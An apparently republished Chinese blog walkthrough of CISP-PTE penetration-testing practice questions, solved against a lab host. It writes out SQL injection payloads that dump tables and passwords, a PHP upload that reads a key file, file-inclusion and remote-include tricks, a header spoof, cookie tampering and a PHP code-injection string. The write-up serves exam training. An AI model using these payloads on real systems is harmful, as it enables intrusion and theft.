CISP-PTE实操练习题讲解二(新版)

Posted 炫彩@之星

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CISP-PTE实操练习题讲解二(新版)相关的知识,希望对你有一定的参考价值。

系列文章目录

文章目录

前言

上一期给大家讲解了PTE考试练习的第一套题,每个题的解法都很详细的讲解了,接下来会给大家讲解第二套题,也是历年考试的题目,难度有点大,在这里给大家好好讲解一下。

一、SQL注入

http://192.168.230.133:81/

http://192.168.230.133:81/start/

进去之后,我们发现是一个注册页面,我们先注册一个账号


我们发表一个看看

insert article1 value(‘977E4328-4F2E-6A8D-6313-2BAB8B3FAC0B’,‘aa’,‘aaa’,‘123’)

我们看到后面输入的内容是在第二,第三个空,大概率是在内容上。
我们看到–和#号都被过滤了,我们可以用/**/进行绕过,这就用到二次注入的方法,次方法就比较麻烦,这里给大家介绍一种简单的方法。j就是多行注入的方法,可以从发表的内容中查看注入后返回的内容。
// 代码过滤规则
while (strstr($sql,‘–’))
$sql = str_replace(“–”, “”, $sql);

while (strstr($sql,‘#’))
$sql = str_replace(“#”, “”, $sql);

我们在内容里注入语句试试
1’,‘123’),(‘1’,‘2’,‘3

我们看到2是回显位置

查当前数据库
1’,‘123’),(‘1’,database(),‘3

查表
1’,‘123’),(‘1’,(select group_concat(table_name) from information_schema.tables where table_schema=‘2web’),'3


article,article1,users1

查字段
1’,‘123’),(‘1’,(select group_concat(column_name) from information_schema.columns where table_name=‘users1’),'3


username,password

查字段中的数据
1’,‘123’),(‘1’,(select password from users1 limit 0,1),'3
因为key可能就在password中


我们就找到key1:u9y8tr4n了。

二、文件上传

http://192.168.230.133:82/

尝试获取webshell,答案就在根目录下key.php文件中。

我们进入答题
http://192.168.230.133:82/start/

类似于第一套题中的上传题目一样,上传一个.jpg文件,在修改后缀名上传就可以了。

这是我们文件中的内容
GIF89a

<?php readfile('key.php');?>


我们查看一下 b.php文件
http://192.168.230.133:82/b.php

右键查看源码

我们就拿到了key2:a1b2c3d4了。

三、文件包含

http://192.168.230.133:83/

http://192.168.230.133:83/start/index.php?page=hello

我们使用伪协议和base64编码读文件试一下
首先是data://text/plain,<?php readfile('../key.php');?>

http://192.168.230.133:83/start/index.php?page=data://text/plain,<?php readfile('../key.php');?>

没有回显,data://被过滤了,我们使用data:/试试
http://192.168.230.133:83/start/index.php?page=data:/text/plain,<?php readfile('../key.php');?>

右键查看源码看看

我们就拿到key3:abcdefgh了。

我们也可以尝试php文件包含试试
http://192.168.230.133:83/start/index.php?page=php://filter/convert.base64-encode/resource==…/key.php

同样被过滤掉了。是因为后面总是会加上一个txt文件,所以会被认定为一个txt文件,无法解析,在这里我给大家讲一下正解。

我们只需要在上一题中修改一下文件后缀名就可以了,将b.php修改为b.txt文件,进行上传,文件内容如下所示:
GIF89a

<?php readfile('../key.php');?>

这里我们使用远程包含上一题上传的b.txt文件,因为这里会自动加上后面的.txt,所以这里包含的时候,后面就不用添加后缀名了。
http://192.168.230.133:83/start/index.php?page=http://192.168.230.133:82/b

点击右键查看源代码

我们就得到了key3:abcdefg。

四、反序列化漏洞

http://192.168.230.133:84/

http://192.168.230.133:84/start/index.php

看到源码就是让我们进行反序列化为字符串,然后输出 key4.php的内容,我们只需要在后面加上下面这个,就可以。
str=s:44:“Whatever is worth doing is worth doing well.”;

http://192.168.230.133:84/start/index.php?str=s:44:“Whatever is worth doing is worth doing well.”;

我们就拿到key4:12345678了。

五、失效的访问控制

http://192.168.230.133:85/start/


进去之后,发现只能本地访问,我们只需抓包后,请求下面添加xff为127.0.0.1就可以了,加上一句话。
x-forwarded-for:127.0.0.1

修改之后,发现可以访问了,但是无权访问,我们就需要修改权限,将其中的 IsAdmin=false; Username=R3Vlc3Q%3D修改为IsAdmin=true; Username=admin
再将后面的admin进行编码后:
IsAdmin=true; Username=YWRtaW4=
进行发送就可以了。


成功拿到key5:12345678了。

六、代码审计

http://192.168.230.133:84/start/vul4.php

其中意思就是说将参数a,赋值给一个字符串,将其最小化输出,就是输出key4.php文件。

我们只需要闭合前面和后面的括号,在括号中间的输入要读取的文件就可以了。输入以下语句就可以了
http://192.168.230.133:84/start/vul4.php?a=“);highlight_file(‘key4.php’)😭”

我们就拿到key4:12345678了。

总结

这里第二套习题就完了,大家好好复习一下,接下来下一篇文章,我会给大家讲解一下综合题的练习情况。

以上是关于CISP-PTE实操练习题讲解二(新版)的主要内容,如果未能解决你的问题,请参考以下文章

CISP-PTE学习总结之基础练习题

CISP-PTE学习总结之基础练习题

CISP-PTE学习总结之基础练习题

CISP-PTE学习总结之基础练习题

拿来吧你!CISP-PTE渗透基础测试题自测

CISP-PTE学习总结之基础练习题